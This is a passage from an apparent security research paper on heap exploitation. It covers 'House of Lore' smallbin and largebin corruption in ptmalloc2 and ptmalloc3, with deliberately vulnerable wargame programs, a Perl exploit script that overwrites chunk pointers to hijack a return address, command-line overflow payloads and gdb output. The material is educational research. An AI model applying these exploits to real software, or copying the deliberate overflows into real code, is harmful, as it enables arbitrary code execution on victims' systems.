      free(agents[sel_ag]->lastname); 

      agents[sel_ag]->lastname = NULL; 

   } 

} 

 

void edit_desc(void) 

{ 

   if(agents[sel_ag]->desc == NULL) { 

      agents[sel_ag]->desc = (char *) malloc(256); 

      printf("\n[!!!]malloc(ed) desc [ %p ]", agents[sel_ag]->desc); 

   } 

 

   printf("\nWrite description for this agent: "); 

   fgets(agents[sel_ag]->desc, 255, stdin); 

} 

 

void delete_desc(void) 

{ 

   if(agents[sel_ag]->desc != NULL) { 

      free(agents[sel_ag]->desc); 

      agents[sel_ag]->desc = NULL; 

   } 

} 

 

void delete_agent(void) 

{ 

    if (agents[sel_ag] != NULL) { 

        free(agents[sel_ag]); 

        agents[sel_ag] = NULL; 

     

        printf("\n[+] Agent %d deleted\n", sel_ag); 
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        if (sel_ag == 0) { 

            agent_count = 0; 

       printf("\n[!] Empty list, please create new agents\n"); 

        } else { 

       sel_ag -= 1; 

            agent_count -= 1; 

       printf("[+] Current agent selection: %d\n", sel_ag); 

        } 

    } else { 

        printf("\n[!] No agents to delete\n");  

    } 

} 

 

---[ end agents.c ]--- 

 

 

This is the perfect program that I would present in a wargame to those who  

wish to apply the technique described in this paper. 

 

 

Someone might think that maybe this program is vulnerable to other  

techniques described in the Malloc Des-Maleficarum. Indeed given the  

ability of the user to manage the memory space, it may seem that The House  

of Mind can be applied here, but one must see that the program limits us to 

the creation of 256 structures of type "agent_t", and that the size of  

these structures is about 432 bytes (approximately when you allocate all  

its fields). If we multiply this number by 256 we get: (110592 = 0x1B000h)  

which seems too small to let us achieve the desirable address "0x08100000"  

necessary to corrupt the NON_MAIN_ARENA bit of an already allocated chunk  

above that address (and thus create a fake arena in order to trigger the  

attack aforementioned). 

 

Another technique that one would take as viable would be The House of Force 

since at first it is easy to corrupt the Wilderness (the Top Chunk), but 

remember that in order to apply this method one of the requirements is that 

the size of a call to malloc( ) must been defined by the designer with the 

main goal of corrupting "av->top". This seems impossible here. 

 

Other techniques are also unworkable for several reasons, each due to their 

intrinsic requirements. So we must study how to sort the steps that trigger 

the vulnerability and the attack process that we have studied so far. 

 

Let's see in detail: 

 

After a quick look, we found that the only vulnerable function is: 

 

 

   void edit_name(void) { 

      ... 

         agents[sel_ag]->name = (char *) malloc(32); 

      ... 

      fgets(agents[sel_ag]->name, 322, stdin); 

 

 

At first it seems a simple typographical error, but it allows us to  

override the memory chunk that we allocated after "agents[]->name", which 

can be any, since the program allows practically a full control over  

memory. 

 

To imitate the maximum possible vulnerable process shown in the previous 

section, the most obvious thing we can do to start is to create a new agent 
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(0) and edit all fields. With this we get: 

 

 

   malloc(sizeof(agent_t));  // new agent 

   malloc(32);               // agents[0]->name 

   malloc(128);              // agents[0]->lastname 

   malloc(256);              // agents[0]->desc 

 

 

The main target is to overwrite the "bk" pointer in the field  

"agents[]->lastname" if we have freed this chunk previously. Moreover,  

between these two actions, we need to allocate a chunk of memory to be 

selected from the "TOP code", so that the chunks present in the unsorted  

bin are sorted in their corresponding bins for a later reuse. 

 

For this, what we do is create a new agent(1), select the first agent(0)  

and delete its field "lastname", select the second agent(1) and edit its 

description. This is equal to: 

 

 

   malloc(sizeof(agent_t));      // Get a chunk from TOP code       

   free(agents[0]->lastname);    // Insert chunk at unsorted bin 

   malloc(256);                  // Get a chunk from TOP code 

 

 

After this last call to malloc( ), the freed chunk of 128 bytes (lastname) 

will have been placed in its corresponding bin. Now we can alter "bk"  

pointer of this chunk, and for this we select again the first agent(0) and  

edit its name (here there will be no call to malloc( ) since it has been  

previously assigned). 

 

At this time, we can place a proper memory address pointing to the stack  

and make two calls to malloc(128), first editing the "lastname" field of  

the second agent(1) and then editing the "lastname" field of agent(0) one 

more time. 

 

These latest actions should return a memory pointer located in the stack in 

a position of your choice, and any written content on "agents[0]->lastname" 

could corrupt a saved return address. 

 

Without wishing to dwell too much more, we show here how a tiny-exploit  

alter the above pointer "bk" and returns a chunk of memory located in the 

stack: 

 

 

---[ exthl.pl ]--- 

 

#!/usr/bin/perl 

 

print "1\n" .              # Create agents[0] 

      "4\n" .              # Edit agents[0] 

      "1\nblack\n" .       # Edit name agents[0] 

      "2\nngel\n" .        # Edit lastname agents[0] 

      "3\nsuperagent\n" .  # Edit description agents[0] 

      "0\n1\n" .           # Create agents[1] 

      "2\n0\n" .           # Select agents[0] 

      "4\n5\n" .           # Delete lastname agents[0] 

      "0\n2\n1\n" .        # Select agents[1] 

      "4\n" .              # Edit agents[1] 

      "3\nsupersuper\n" .  # Edit description agents[1] 

      "0\n2\n0\n" .        # Select agents[0] 
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      "4\n" .              # Edit agents[0] 

      "1\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" . 

      "\x94\xee\xff\xbf" . # Edit name[0] and overwrite "lastname->bk" 

      "\n0\n2\n1\n" .      # Select agents[1] 

      "4\n" .              # Edit agents[1] 

      "2\nother\n" .       # Edit lastname agents[1] 

      "0\n2\n0\n" .        # Select agents[0] 

      "4\n" .              # Edit agents[0] 

      "2\nBBBBBBBBBBBBBBBBBBBBB" . 

      "BBBBBBBBBBBBBBBBBBBBBBBBBBBB\n"; # Edit lastname agents[0] 

                                        # and overwrite a {RET} 

 

---[ end exthl.pl ]--- 

 

 

And here is the result, displaying only the outputs of interest for us: 

 

 

black@odisea:~/ptmalloc2$ ./exthl | ./agents 

.....       

 

[PTMALLOC2] -> (Smallbin code reached)               

[PTMALLOC2] -> (victim = [ 0x8 ])             // Create new agents[0]     

Agent 0 created, now you can edit it                 

 

..... 

 

[PTMALLOC2] -> (Chunk from TOP)                        

[!!!]malloc(ed) name [ 0x804f020 ]            // Edit name agents[0]           

Write name for this agent:                             

 

..... 

 

[PTMALLOC2] -> (Chunk from TOP)                        

[!!!]malloc(ed) lastname [ 0x804f048 ]        // Edit lastname agents[0] 

Write lastname for this agent:                         

 

..... 

   

[PTMALLOC2] -> (Chunk from TOP)                        

[!!!]malloc(ed) desc [ 0x804f0d0 ]           // Edit description agents[0]                   

Write description for this agent:                      

 

..... 

   

[PTMALLOC2] -> (Chunk from TOP)                        

Agent 1 created, now you can edit it         // Create new agents[1] 

          

..... 

   

Write agent number:                                    

[+] Agent 0 selected.                        // Select agents[0]          

 

..... 

  

[PTMALLOC2] -> (Freed and unsorted [ 0x804f040 ] chunk) // Delete lastname 

 

..... 

   

Write agent number:                                     

[+] Agent 1 selected.                        // Select agents[1]            
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..... 

   

[PTMALLOC2] -> (Chunk from TOP)                         

[!!!]malloc(ed) desc [ 0x804f1f0 ]           // Edit description agents[1]              

Write description for this agent:                       

 

..... 

 

Write agent number:                                     

[+] Agent 0 selected.                        // Select agents[0]  

 

..... 

   

Write name for this agent:                   // Edit name agents[0]                      

    

Write agent number:                                     

[+] Agent 1 selected.                        // Select agents[1] 

 

..... 

 

[PTMALLOC2] -> (Smallbin code reached)                  

[PTMALLOC2] -> (victim = [ 0x804f048 ])                 

[PTMALLOC2] -> (victim->bk = [ 0xbfffee94 ])            

 

[!!!]malloc(ed) lastname [ 0x804f048 ] 

Write lastname for this agent:               // Edit lastname agents[1] 

 

..... 

  

Write agent number:                                    

[+] Agent 0 selected.                        // Select agents[0]           

 

..... 

 

[PTMALLOC2] -> (Smallbin code reached) 

[PTMALLOC2] -> (victim = [ 0xbfffee94 ]) 

[PTMALLOC2] -> (victim->bk = [ 0xbfffeec0 ]) 

 

[!!!]malloc(ed) lastname [ 0xbfffee9c ]     // Edit lastname agents[0] 

Segmentation fault 

black@odisea:~/ptmalloc2$ 

 

 

Everyone can predict what happened in the end, but GDB can clarify for us a 

few things: 

 

 

----- snip ----- 

 

[PTMALLOC2] -> (Smallbin code reached) 

[PTMALLOC2] -> (victim = [ 0xbfffee94 ]) 

[PTMALLOC2] -> (victim->bk = [ 0xbfffeec0 ]) 

 

[!!!]malloc(ed) lastname [ 0xbfffee9c ] 

 

Program received signal SIGSEGV, Segmentation fault. 

0x080490f6 in edit_lastname () 

(gdb) x/i $eip 

0x80490f6 <edit_lastname+150>:  ret 

(gdb) x/8x $esp 
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0xbfffee9c:     0x42424242      0x42424242      0x42424242      0x42424242 

0xbfffeeac:     0x42424242      0x42424242      0x42424242      0x42424242 

(gdb) 

 

----- snip ----- 

 

 

And you have moved to the next level of your favorite wargame, or at least 

you have increased your level of knowledge and skills.  

 

Now, I encourage you to compile this program with your regular glibc (not 

static Ptmalloc2), and verify that the result is exactly the same, it does 

not change the inside code. 

 

I don't know if anyone had noticed, but another of the techniques that in  

principle could be applied to this case is the forgotten The House of  

Prime. The requirement for implementing it is the manipulation of the  

header of two chunks that will be freed. This is possible since an overflow 

in agents[]->name can override both agents[]->lastname and agents[]->desc,  

and we can decide both when freeing them and in what order. However, The  

House of Prime needs also at least the possibility of placing an integer 

on the stack to overcome a last check and this is where it seems that we 

stay trapped. Also, remember that since glibc 2.3.6 one can no longer pass  

to free( ) a chunk smaller than 16 bytes whereas this is the first  

requirement inherent to this technique (alter the size field of the first  

piece overwritten 0x9h = 0x8h + PREV_INUSE bit). 

 

 

 

               << It is common sense to take a method and 

                  try it; if it fails, admit it frankly and 

                  try another. But above all, try something. >> 

 

                                      [ Franklin D. Roosevelt ] 

 

 

 

           .------------------------------. 

---[ 3 ---[   LargeBin Corruption Method   ]--- 

           .------------------------------. 

 

In order to apply the method recently explained to a largebin we need the  

same conditions, except that the size of the chunks allocated should be  

above 512 bytes as seen above. 

 

However, in this case the code triggered in "_int_malloc( )" is different  

and more complex. Extra requirements will be necessary in order to achieve  

a successful execution of arbitrary code. 

 

We will make some minor modifications to the vulnerable program presented 

in 2.2.1 and will see, through the practice, which of these preconditions 

must be met. 

 

Here is the code: 

 

 

---[ thl-large.c ]--- 

 

#include <stdlib.h> 

#include <stdio.h> 

#include <string.h> 
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void evil_func(void) 

{ 

    printf("\nThis is an evil function. You become a cool \ 

              hacker if you are able to execute it\n");  

} 

 

void func1(void) 

{ 

    char *lb1, *lb2; 

      

    lb1 = (char *) malloc(1536); 

    printf("\nLB1 -> [ %p ]", lb1); 

    lb2 = malloc(1536); 

    printf("\nLB2 -> [ %p ]", lb2); 

 

    strcpy(lb1, "Which is your favourite hobby: "); 

    printf("\n%s", lb1); 

    fgets(lb2, 128, stdin); 

} 

 

int main(int argc, char *argv[]) 

{ 

    char *buff1, *buff2, *buff3; 

 

    malloc(4096); 

    buff1 = (char *) malloc(1024); 

    printf("\nBuff1 -> [ %p ]", buff1); 

    buff2 = (char *) malloc(2048); 

    printf("\nBuff2 -> [ %p ]", buff2); 

    buff3 = (char *) malloc(4096); 

    printf("\nBuff3 -> [ %p ]\n", buff3); 

 

    free(buff2); 

 

    printf("\nBuff4 -> [ %p ]", malloc(4096)); 

 

    strcpy(buff1, argv[1]); 

 

    func1(); 

 

    return 0; 

} 

 

---[ end thl-large.c ]--- 

 

 

As you can see, we still need an extra reserve (buff4) after releasing the  

second allocated chunk. This is because it's not a good idea to have a  

corrupted "bk" pointer in a chunk that still is in the unsorted bin. When  

it happens, the program usually breaks sooner or later in the instructions: 

 

 

      /* remove from unsorted list */ 

      unsorted_chunks(av)->bk = bck; 

      bck->fd = unsorted_chunks(av); 

 

 

But if we do not make anything wrong before the recently freed chunk is  

placed in its corresponding bin, then we pass without penalty or glory the  

next area code: 
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    while ( (victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) { 

       ... 

    } 

 

 

Having passed this code means that (buff2) has been introduced in its  

corresponding largebin. Therefore we will reach this code: 

 

 

----- snip ----- 

 

    if (!in_smallbin_range(nb)) { 

      bin = bin_at(av, idx); 

 

      for (victim = last(bin); victim != bin; victim = victim->bk) { 

 size = chunksize(victim); 

 

 if ((unsigned long)(size) >= (unsigned long)(nb)) { 

   printf("\n[PTMALLOC2] No enter here please\n"); 

   remainder_size = size - nb; 

   unlink(victim, bck, fwd); 

   ..... 

 

----- snip ----- 

 

 

This does not look good. The unlink( ) macro is called, and we know the  

associated protection since the 2.3.6 version of Glibc. Going there would  

destroy all the work done until now. 

 

Here comes one of the first differences in the largebin corruption method.  

In 2.2.1 we said that after overwriting the "bk" pointer of the free( )  

chunk, two calls to malloc( ) with the same size should be carried out to  

return a pointer *mem in an arbitrary memory address. 

 

In largebin corruption, we must avoid this code at all cost. For this, the 

two calls to malloc( ) must be less than buff2->size. Phantasmal told us  

"512 < M < N", and that is what we see in our vulnerable application: 

512 < 1536 < 2048. 

 

As it has not previously been freed any chunk of this size (1536) or at  

least belonging to the same bin, "_int_malloc( )" tries to search a chunk  

that can fulfill the request from the next bin to the recently scanned: 

 

 

    // Search for a chunk by scanning bins, starting with next largest bin. 

 

    ++idx; 

    bin = bin_at(av,idx);  

 

 

And here is where the magic comes, the following piece of code will be  

executed: 

 

 

----- snip ----- 

 

      victim = last(bin); 

      ..... 
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      else { 

        size = chunksize(victim); 

 

        remainder_size = size - nb; 

 

printf("\n[PTMALLOC2] -> (Largebin code reached)"); 

printf("\n[PTMALLOC2] -> remander_size = size (%d) - nb (%d) = %u", size, 

                                                       nb, remainder_size); 

printf("\n[PTMALLOC2] -> (victim = [ %p ])", victim); 

printf("\n[PTMALLOC2] -> (victim->bk = [ %p ])\n", victim->bk); 

 

        /* unlink */ 

        bck = victim->bk; 

        bin->bk = bck; 

        bck->fd = bin; 

 

        /* Exhaust */ 

        if (remainder_size < MINSIZE) { 

   printf("\n[PTMALLOC2] -> Exhaust code!! You win!\n"); 

          ..... 

          return chunk2mem(victim); 

        } 

 

        /* Split */ 

        else { 

          ..... 

          set_foot(remainder, remainder_size); 

          check_malloced_chunk(av, victim, nb); 

          return chunk2mem(victim); 

        } 

      } 

 

----- snip ----- 

 

 

The code has been properly trimmed to show only the parts that have  

relevance in the method we are describing. Calls to printf( ) are of my own 

and you will soon see its usefulness. 

 

Also it's easy to see that the process is practically the same as in the 

smallbin code. You take the last chunk of the respective largebin  

(last(bin)) in "victim" and proceed to unlink it (without macro) before  

reaching the user control. Since we control "victim->bk", at first the 

attack requirements are the same, but then, where is the difference? 

 

Calling set_foot( ) tends to produce a segmentation fault since that 

"remainder_size" is calculated from "victim->size", value that until now we 

were filling out with random data. The result is something like the  

following: 

 

 

(gdb) run `perl -e 'print "A" x 1036 . "\x44\xf0\xff\xbf"'`                                                                                   

 

[PTMALLOC2] -> (Chunk from TOP) 

Buff1 -> [ 0x8050010 ] 

[PTMALLOC2] -> (Chunk from TOP) 

Buff2 -> [ 0x8050418 ] 

[PTMALLOC2] -> (Chunk from TOP) 

Buff3 -> [ 0x8050c20 ] 

 

[PTMALLOC2] -> (Freed and unsorted [ 0x8050410 ] chunk) 
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[PTMALLOC2] -> (Chunk from TOP) 

Buff4 -> [ 0x8051c28 ] 

[PTMALLOC2] -> (Largebin code reached) 

[PTMALLOC2] -> remander_size = size (1094795584) - nb (1544) = 1094794040 

[PTMALLOC2] -> (victim = [ 0x8050410 ]) 

[PTMALLOC2] -> (victim->bk = [ 0xbffff044 ]) 

 

Program received signal SIGSEGV, Segmentation fault. 

0x0804a072 in _int_malloc (av=0x804e0c0, bytes=1536) at malloc.c:4144 

4144              set_foot(remainder, remainder_size); 

(gdb) 

 

 

The solution is then enforce the conditional: 

 

   if (remainder_size < MinSize) { 

      ... 

   }. 

 

Anyone might think of overwriting "victim->size" with a value like  

"0xfcfcfcfc" which would generate as a result a negative number smaller  

than MINSIZE, but we must remember that "remainder_size" is defined as an  

"unsigned long" and therefore the result will always be a positive value. 

 

The only possibility that remains then is that the vulnerable application 

allows us to insert null bytes in the attack string, and therefore to  

supply a value as (0x00000610 = 1552) that would generate:  

1552 - 1544 (align) = 8 and the condition would be fulfilled. Let us see in 

action: 

 

 

(gdb) set *(0x08050410+4)=0x00000610         

(gdb) c                                      

Continuing.                                 

Buff4 -> [ 0x8051c28 ] 

[PTMALLOC2] -> (Largebin code reached) 

[PTMALLOC2] -> remander_size = size (1552) - nb (1544) = 8 

[PTMALLOC2] -> (victim = [ 0x8050410 ]) 

[PTMALLOC2] -> (victim->bk = [ 0xbffff044 ]) 

 

[PTMALLOC2] -> Exhaust code!! You win! 

 

LB1 -> [ 0x8050418 ] 

[PTMALLOC2] -> (Largebin code reached) 

[PTMALLOC2] -> remander_size = size (-1073744384) - nb (1544) = 3221221368 

[PTMALLOC2] -> (victim = [ 0xbffff044 ]) 

[PTMALLOC2] -> (victim->bk = [ 0xbffff651 ]) 

 

Program received signal SIGSEGV, Segmentation fault. 

0x0804a072 in _int_malloc (av=0x804e0c0, bytes=1536) at malloc.c:4144 

4144              set_foot(remainder, remainder_size); 

 

 

Perfect, we reached the second memory request where we saw that victim is 

equal to 0xbffff044 which being returned would provide a chunk whose *mem  

pointes to the stack. However set_foot( ) again gives us problems, and this 

is obviously because we are not controlling the "size" field of this fake  

chunk created on the stack. 

 

This is where we have to overcome the latter condition. Victim should point 

to a memory location containing user-controlled data, so that we can enter  
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an appropriate "size" value and conclude the technique. 

 

We end this section by saying that the largebin corruption method is not  

just pure fantasy as we've made it a reality. However it is true that  

finding the required preconditions of attack in real-life applications is 

almost impossible. 

 

As a curious note, one might try to overwrite "victim->size" with  

0xffffffff (-1) and check that on this occasion set_foot( ) seems to follow 

its course without breaking the program. 

 

Note: Again we have not tested all versions of glibc, but we noted the 

following fixes in advanced versions: 

 

 

----- snip ----- 

 

      else { 

        size = chunksize(victim); 

 

        /*  We know the first chunk in this bin is big enough to use. */ 

        assert((unsigned long)(size) >= (unsigned long)(nb));  <-- !!!!!!! 

 

        remainder_size = size - nb; 

 

        /* unlink */ 

        unlink(victim, bck, fwd); 

 

        /* Exhaust */ 

        if (remainder_size < MINSIZE) { 

          set_inuse_bit_at_offset(victim, size); 

          if (av != &main_arena) 

            victim->size |= NON_MAIN_ARENA; 

        } 

 

        /* Split */ 

        else { 

 

----- snip ----- 

 

 

What this means is that the unlink( ) macro has been newly introduced into  

the code, and thus the classic pointer testing mitigate the attack. 

 

 

 

               << Insanity is doing the same 

                  thing over and over again, and 

                  expecting different results. >> 

 

                                   [ Albert Einstein ] 

 

 

 

           .-------------------------. 

---[ 4 ---[   Analysis of Ptmalloc3   ]--- 

           .-------------------------. 

 

Delving into the internals of Ptmalloc3, without warm up, may seem violent, 

but with a little help it's only a child's game. 
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In order to understand correctly the next sections, I present here the most 

notable differences in the code with respect to Ptmalloc2. 

 

The basic operation remains the same, in the end it's another common memory 

allocator, and is also based on a version of Doug Lea allocator but adapted 

to work on multiple threads. 

 

For example, here is the chunk definition: 

 

 

struct malloc_chunk { 

  size_t               prev_foot;  /* Size of previous chunk (if free).  */ 

  size_t               head;       /* Size and inuse bits. */ 

  struct malloc_chunk* fd;         /* double links -- used only if free. */ 

  struct malloc_chunk* bk; 

}; 

 

 

As we see, the names of our well known "prev_size" and "size" fields have 

been changed, but the meaning remains the same. Furthermore we knew three 

usual bit control to which they added an extra one called "CINUSE_BIT" 

which tells (in a redundant way) that the current chunk is assigned, as 

opposed to that PINUSE_BIT that continues to report the allocation of the 

previous chunk. Both bits have their corresponding checking and assign 

macros. 

 

The known "malloc_state" structure now stores the bins into two different 

arrays for different uses: 

 

 

     mchunkptr  smallbins[(NSMALLBINS+1)*2]; 

     tbinptr    treebins[NTREEBINS]; 

 

 

The first of them stores free chunks of memory below 256 bytes. Treebins[] 

is responsible for long pieces and uses a special tree organization. Both 

arrays are important in the respective techniques that will be discussed in 

the following sections, providing there more details about its management 

and corruption. 

 

Some of the areas of greatest interest in "malloc_state" are: 

 

     char*      least_addr; 

     mchunkptr  dv; 

     size_t     magic; 

 

 * "least_addr" is used in certain macros to check if the address of a 

   given P chunk is within a reliable range. 

 

 * "dv", or Designated Victim is a piece that can be used quickly to serve  

   a small request, and to gain efficiency is typically, by general rule,  

   the last remaining piece of another small request. This is a value that 

   is used frequently in the smallbin code, and we will see it in the next 

   section. 

 

 * "Magic" is a value that should always be equal to malloc_params.magic  

   and in principle is obtained through the device "/dev/urandom". This  

   value can be XORed with mstate and written into p->prev_foot for later 

   to retrieve the mstate structure of that piece by applying another XOR 

   operation with the same value. If "/dev/urandom" can not be used, magic 

   is calculated from the time(0) syscall and "0x55555555U" value with  
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   other checkups, and if the constant INSECURE was defined at compile  

   time magic then directly take the constant value: "0x58585858U". 

 

For security purposes, some of the most important macros are following: 

 

 

#define ok_address(M, a) ((char*)(a) >= (M)->least_addr) 

#define ok_next(p, n)    ((char*)(p) < (char*)(n)) 

#define ok_cinuse(p)     cinuse(p) 

#define ok_pinuse(p)     pinuse(p) 

#define ok_magic(M)      ((M)->magic == mparams.magic) 

 

 

which could always return true if the constant INSECURE is defined at 

compile time (which is not the case by default). 

 

 

The last macro that you could be observe frequently is "RTCHECK(e)" which  

is nothing more than a wrapper for "__builtin_expect(e, 1)", which in time  

is more familiar from previous studies on malloc. 

 

As we said, "malloc_params" contains some of the properties that can be 

established through "mallopt(int param, int value)" at runtime, and 

additionally we have the structure "mallinfo" that maintains the global 

state of the allocation system with information such as the amount of  

already allocated space, the amount of free space, the number of total free 

chunks, etc... 

 

Talking about the management of Mutex and treatment of Threads in Ptmalloc3 

is something beyond the scope of this article (and would probably require  

to write an entire book), so we will not discuss this issue and will rather 

go forward. 

 

In the next section we see that every precaution that have been taken are  

not sufficient to mitigate the attack presented here. 

 

 

 

               << Software is like entropy: It is 

                  difficult to grasp, weighs nothing, 

                  and obeys the Second Law of Thermodynamics: 

                  i.e., it always increases. >> 

 

                                         [ Norman Augustine ] 

 

 

 

             .---------------------------------. 

---[ 4.1 ---[   SmallBin Corruption (Reverse)   ]--- 

             .---------------------------------. 

 

In an attempt to determine whether THoL could be viable in this last 

version of Wolfram Gloger. This version have a lot security mechanisms and  

integrity checks against heap overflows, fortunately I discovered a variant 

of our smallbin corruption method, this variant could be applied. 

 

To begin, we compile Ptmalloc3 and link the library statically with the 

vulnerable application presented in 2.2.1. After using the same method to 

exploit that application (by adjusting the evil_func( ) address of course, 

which would be our dummy shellcode), we obtain a segment violation at 

malloc.c, particularly in the last instruction of this piece of code: 
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----- snip ----- 

 

void* mspace_malloc(mspace msp, size_t bytes) { 

  ..... 

  if (!PREACTION(ms)) { 

    ..... 

    if (bytes <= MAX_SMALL_REQUEST) { 

    ..... 

      if ((smallbits & 0x3U) != 0) { 

        ..... 

        b = smallbin_at(ms, idx); 

        p = b->fd; 

        unlink_first_small_chunk(ms, b, p, idx); 

 

----- snip ----- 

 

 

Ptmalloc3 can use both dlmalloc( ) and mspace_malloc( ) depending on 

whether the constant "ONLY_MSPACES" has been defined at compile-time (this  

is the default option -DONLY_MSPACES). This is irrelevant for the purposes  

of this explanation since the code is practically the same for both  

functions. 

 

The application breaks when, after having overwritten the "bk" pointer of  

buff2, one requests a new buffer with the same size. Why does it happen? 

 

As you can see, Ptmallc3 acts in an opposite way of Ptmalloc2. Ptmalloc2  

attempts to satisfy the memory request with the last piece in the bin,  

however, Ptmalloc3 intends to cover the request with the first piece of the 

bin: "p = b->fd". 

 

mspace_malloc () attempts to unlink this piece of the corresponding bin to  

serve the user request, but something bad happens inside the  

"unlink_first_small_chunk( )" macro, and the program segfaults. 

 

Reviewing the code, we are interested by a few lines: 

 

 

----- snip ----- 

 

#define unlink_first_small_chunk(M, B, P, I) {\ 

  mchunkptr F = P->fd;\                  [1] 

  ..... 

  if (B == F)\ 

    clear_smallmap(M, I);\ 

  else if (RTCHECK(ok_address(M, F))) {\ [2] 

    B->fd = F;\                          [3] 

    F->bk = B;\                          [4] 

  }\ 

  else {\ 

    CORRUPTION_ERROR_ACTION(M);\ 

  }\ 

} 

 

----- snip ----- 

 

 

Here, P is our overwritten chunk, and B is the bin belonging to that piece. 

In [1], F takes the value of the "fd" pointer that we control (at the same  
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time that we overwrote the "bk" pointer in buff2). 

 

If [2] is overcome, which is a security macro we've seen in the previous 

section: 

 

 

    #define ok_address(M, a) ((char*)(a) >= (M)->least_addr) 

 

 

where the least_addr field is "the least address ever obtained from  

MORECORE or MMAP"... then anything of higher value will pass this test. 

 

We arrive to the classic steps of unlink, in [3] the "fd" pointer of the  

bin points to our manipulated address. In [4] is where a segmentation  

violation occurs, as it tries to write to (0x41414141)->bk the address of  

the bin. As it falls outside the allocated address space, the fun ends. 

 

For the smallbin corruption technique over Ptmalloc3 it is necessary to  

properly overwrite the "fd" pointer of a freed buffer with a random  

address. After, it is necessary to try making a future call to malloc( ),  

with the same size, that returns the random address as the allocated space. 

 

The precautions are the same as in 2.2.1, F->bk must contain a writable  

address, otherwise it will cause an access violation in [4]. 

 

If we accomplish all this conditions, the first chunk of the bin will be  

unlinked and the following piece of code will be triggered. 

 

 

----- snip ----- 

 

        mem = chunk2mem(p); 

        check_malloced_chunk(gm, mem, nb); 

        goto postaction; 

 

        ..... 

        postaction: 

            POSTACTION(gm); 

            return mem; 

 

----- snip ----- 

 

 

I added the occasional printf( ) sentence into mspace_malloc( ) and the  

unlink_first_small_chunk( ) macro to see what happened, and the result was  

as follow: 

 

 

Starting program: /home/black/ptmalloc3/thl `perl -e 'print "A"x24 . 

"\x28\xf3\xff\xbf"'` < evil.in                                                                              

 

[mspace_malloc()]: 16 bytes <= 244 

Buff1 -> [ 0xb7feefe8 ] 

[mspace_malloc()]: 128 bytes <= 244 

Buff2 -> [ 0xb7fef000 ] 

Buff3 -> [ 0xb7fef088 ] 

 

Buff4 -> [ 0xb7fef190 ] 

 

[mspace_malloc()]: 128 bytes <= 244 

[unlink_first_small_chunk()]: P->fd = 0xbffff328 
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LB1 -> [ 0xb7fef000 ] 

 

[mspace_malloc()]: 128 bytes <= 244 

[unlink_first_small_chunk()]: P->fd = 0xbffff378 

LB2 -> [ 0xbffff330 ] 

 

Which is your favourite hobby: 

This is an evil function. You become a cool hacker if you are able to 

execute it 

 

 

"244" is the present value of MAX_SMALL_REQUEST, which as we can see, is  

another difference from Ptmalloc2, which defined a smallbin whenever  

requested size was less than 512. In this case the range is a little more  

limited. 

 

 

 

               << From a programmer's point of view, 

                  the user is a peripheral that types 

                  when you issue a read request. >> 

 

                                      [ P. Williams ] 

 

 

 

             .----------------------------------------. 

---[ 4.2 ---[   LargeBin Method (TreeBin Corruption)   ]--- 

             .----------------------------------------. 

 

At this point of the article, we have understood the basic concepts  

correctly. One could now continue to study on his own the Ptmalloc3  

internals. 

 

In Ptmalloc3, large chunks (ie larger than 256 bytes), are stored in a tree 

structure where each chunk has a pointer to its father, and retains two  

pointers to its children (left and right) if having any. The code that  

defines this structure is the following: 

 

 

----- snip ----- 

 

struct malloc_tree_chunk { 

  /* The first four fields must be compatible with malloc_chunk */ 

  size_t                    prev_foot; 

  size_t                    head; 

  struct malloc_tree_chunk* fd; 

  struct malloc_tree_chunk* bk; 

 

  struct malloc_tree_chunk* child[2]; 

  struct malloc_tree_chunk* parent; 

  bindex_t                  index; 

}; 

 

----- snip ----- 

 

 

When a memory request for a long buffer is made, the 

"if (bytes <= MAX_SMALL_REQUEST) {}" sentence fails, and the executed code, 

if nothing strange happens, is as follow: 
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----- snip ----- 

 

    else { 

      nb = pad_request(bytes); 

      if (ms->treemap != 0 && (mem = tmalloc_large(ms, nb)) != 0) { 

        check_malloced_chunk(ms, mem, nb); 

        goto postaction; 

      } 

    } 

 

----- snip ----- 

 

 

Into tmalloc_large( ), we aim to achieve this code: 

 

 

----- snip ----- 

 

  if (v != 0 && rsize < (size_t)(m->dvsize - nb)) { 

    if (RTCHECK(ok_address(m, v))) { /* split */ 

      ..... 

      if (RTCHECK(ok_next(v, r))) { 

        unlink_large_chunk(m, v); 

        if (rsize < MIN_CHUNK_SIZE) 

          set_inuse_and_pinuse(m, v, (rsize + nb)); 

        else { 

          set_size_and_pinuse_of_inuse_chunk(m, v, nb); 

          set_size_and_pinuse_of_free_chunk(r, rsize); 

          insert_chunk(m, r, rsize); 

        } 

        return chunk2mem(v); 

        ..... 

 

----- snip ----- 

 

 

If we tried to exploit this program in the same way as for Ptmalloc2, the 

application would break first in the "unlink_large_chunk( )" macro, which  

is very similar to "unlink_first_small_chunk( )". The most important lines  

of this macro are these: 

 

 

    F = X->fd;\ [1] 

    R = X->bk;\ [2] 

    F->bk = R;\ [3] 

    R->fd = F;\ [4] 

 

 

Thus we now know that both the "fd" and "bk" pointers of the overwritten 

chunk must be pointing to writable memory addresses, otherwise this could 

lead to an invalid memory access. 

 

The next error will come in: "set_size_and_pinuse_of_free_chunk(r, rsize)", 

which tells us that the "size" field of the overwritten chunk must be 

user-controlled. And so again, we need the vulnerable application to allow 

us introducing NULL bytes. 

 

If we can accomplish this, the first call to "malloc(1536)" of the  

application shown in section 3 will be executed correctly, and the issue  

will come with the second call. Specifically within the loop: 
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----- snip ----- 

 

  while (t != 0) { /* find smallest of tree or subtree */ 

    size_t trem = chunksize(t) - nb; 

    if (trem < rsize) { 

      rsize = trem; 

      v = t; 

    } 

    t = leftmost_child(t); 

  } 

 

----- snip ----- 

 

 

When you first enter this loop, "t" is being equal to the address of the  

first chunk in the tree_bin[] corresponding to the size of the buffer  

requested. The loop will continue while "t" has still some son and, finally 

"v" (victim) will contain the smallest piece that can satisfy the request. 

 

The trick for saving our problem is to exit the loop after the first  

iteration. For this, we must make "leftmost_child(t)" returning a "0"  

value. 

 

Knowing the definition: 

 

 

#define leftmost_child(t) ((t)->child[0] != 0? (t)->child[0]:(t)->child[1]) 

 

 

The only way is to place (buff2->bk) in an address of the stack. It is  

necessary the pointers child[0] and child[1] with a "0" value, which means  

no more children. Then "t" (and therefore "v") will be provided while the  

"size" field not fails the if( ) sentence. 

 

 

 

               << Before software should be 

                  reusable, it should be usable. >> 

 

                                  [ Ralph Johnson ]  

 

 

 

             .-----------------------------. 

---[ 4.3 ---[   Implement Security Checks   ]--- 

             .-----------------------------. 

 

Ptmalloc3 could be safer than it seems at first, but for this, you should 

have defined the FOOTERS constant at compile time (which is not the default 

